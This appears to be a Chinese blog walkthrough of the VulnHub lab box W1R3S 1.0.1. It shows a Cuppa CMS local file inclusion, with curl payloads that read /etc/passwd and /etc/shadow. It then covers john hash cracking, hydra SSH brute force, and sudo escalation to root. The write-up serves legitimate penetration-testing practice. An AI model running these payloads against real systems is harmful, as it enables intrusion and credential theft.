W1R3S-1.0.1

2025 年 2 月 22 日 (已编辑)
1323 字
7 分钟

W1R3S: 1.0.1


easyNo.12

来源: vulnhub靶场-W1R3S: 1.0.1

目标: They have asked you to gain root access and find the flag (located in /root directory).

提示: This is a vulnerable Ubuntu box.

妙妙工具: python -c 'import pty; pty.spawn("/bin/bash")'

环境配置

  • kali: 192.168.110.130
  • target: 192.168.110.135

信息收集

nmap

text
nmap -sS 192.168.110.0/24
nmap -sn 192.168.110.0/24

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

21/ftp

先看看ftp, 发现存在匿名登录. 上去将所有的txt文件都下载下来

分析文件, 有个md5值, 放到网上解出来是"This is not a password", pass. 还有一个base64字符串, 试试解码, 发现也没用

然后是员工列表, 有经理, IT, web设计等. 结合职务猜测可能存在的权限和可能获得的数据

倒过来看最后一个, "我不认为这是获取root的方式", 暗示ftp这个地方就是无用的, 那就拉倒了

3306/mysql

没有密码, 同时测试后发现不允许被登录, 暂时放弃

80/http

目录扫描, 发现存在wordpress和一个installation界面? 用于安装Cuppa CMS.

text
[08:05:48] 302 -    7KB - /administrator/
[08:06:07] 301 -    0B  - /wordpress/
[08:06:08] 200 -    1KB - /wordpress/wp-login.php

发现访问wordpress后自动跳转https://192.168.110.130/wordpress/, 奇怪

尝试修改/etc/host文件, 使得localhost指向192.168.110.135(其实就是绑定域名). 然后失败了, 似乎kali不允许用户调整localhost指向非本机ip, 先放在一边

来看看Cuppa CMS这个安装界面, 我们没有数据库密码, 同时也不知道数据库有什么东西, 只能看看有什么了.

image.png

尝试安装, 但是他说管理员用户创建失败, 那这里也走不通

尝试搜索有没有可以利用的漏洞, 只有一条, 那就拿下来

bash
searchsploit cuppa
locate php/webapps/25971.txt
cp /usr/share/exploitdb/exploits/php/webapps/25971.txt ~/Desktop/working

打开来看, 大概意思是在特定文件的22行有一段代码产生了文件包含的漏洞, 攻击这个可以利用这个去包含本地或远程的php文件, 或者读取非php文件

然后是给的一些示例, 比如获取/etc/passwd, 可以读取Configuration.php等等

先确认是否存在这个漏洞, 给的payload如下:

text
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

结合靶机, 稍微修改一下payload. 原payload测试后是没有反应的, 猜测安装到的是administrator路径, 成功

text
http://192.168.110.135/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
image.png

结合图片, 发现没有得到预期输出/etc/passwd. 这里有两个方法: 一个是模糊测试, 更换一些参数/传参方式尝试利用 / 绕过一些限制. 另一个是找到对应版本或临近版本的源码进行代码审计

这边选择了上网寻找cuppa cms的源码: github-CuppaCMS

搜索过程中还找到例如Cuppa CMS v1.0的RCECVE-2022-37190, SQL注入CVE-2022-24266, 我们找到的这个txt文件说是2013.6.4, 但是还找到一个本地文件包含CVE-2022-25486

根据txt给出的路径顺利找到文件, 发现原来的第22行编程的第77行的

php
<?php include "../components/table_manager/fields/config/".@$cuppa->POST("urlConfig"); ?>

显然没有过滤, 只不过是更换传参方式为POST, 所以这个肯定存在文件包含

尝试利用curl传参, 让我试试curl(当然还可以利用hackbar之类的直接传). 然后成功获取内容

bash
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.110.135/administrator/alerts/alertConfigField.php
image.png

获取/etc/shadow, 然后利用john对密码哈希值进行爆破, 成功爆破两条

bash
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/shadow' http://192.168.110.135/administrator/alerts/alertConfigField.php

# 直接将shadow中有哈希值的用户名储存然后交给john
john shadow.txt
# w1r3s : computer
# www-data : www-data

getshell

肯定是w1r3s账户的权限更高. ssh连接w1r3s, 成功登录

信息收集

bash
# 系统信息 Linux W1R3S 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
uname -a
# 内核版本 4.13.0-36-generic 内核比较难提权
uname -r
# 查看发行版的信息 Ubuntu 16.04.3 LTS
lsb_release -a
# 查看环境
python -h
nc -h
gcc -v
# 查看权限, 有所有地方的sudo权限
sudo -l
image.png

不知道为什么执行sudo会卡非常久, 下面的提权也一样

提权

存在所有地方的sudo权限, 那就已经结束了

bash
sudo /bin/bash

/root目录下有flag.txt文件

附录

视频解析一定要看, 虽然长度为一个小时: 「红队笔记」靶机精讲:W1R3S 1.0.1 - 渗透测试思路为王,细节多到即使对于纯萌新也能无感入圈

22/ssh

尝试直接爆破. 从/etc/passwd获取用户名之后, 构造字典或结合已有字典进行爆破

也可以利用从ftp中获取的用户/网站名构造用户名字典. 思路为: 大小写, 可能有权限的用户, 一些可能的字符串等等

bash
hydra -l user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.110.135

跑肯定是成功的, 毕竟已经解出来过了

关于搜索到的漏洞

CVE-2022-37190: 经过身份验证的用户可以从/api/index.php控制两个参数, 可惜我们没有登录

详细描述

CVE-2022-24266: 在/administrator/components/table_manager/中通过order_by参数发现一个 SQL时间盲注漏洞, 没试出来

详细描述

CVE-2022-25486: 这个才是我们刚才用于本地文件包含的漏洞, 和发现的那个txt不同的点就是一个是GET一个是POST

详细描述

除了这个还想还有一个地方可以进行文件包含/alerts/alertLightbox.php, 经过测试同样是成功包含到/etc/passwd

bash
curl --data-urlencode 'url=../../../../../../../../../../../etc/passwd' http://192.168.110.135/administrator/alerts/alertLightbox.php

详细描述

文章标题:W1R3S-1.0.1

文章作者:4reexile

文章链接:https://4reexile.github.io/posts/w1r3s-1-0-1[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。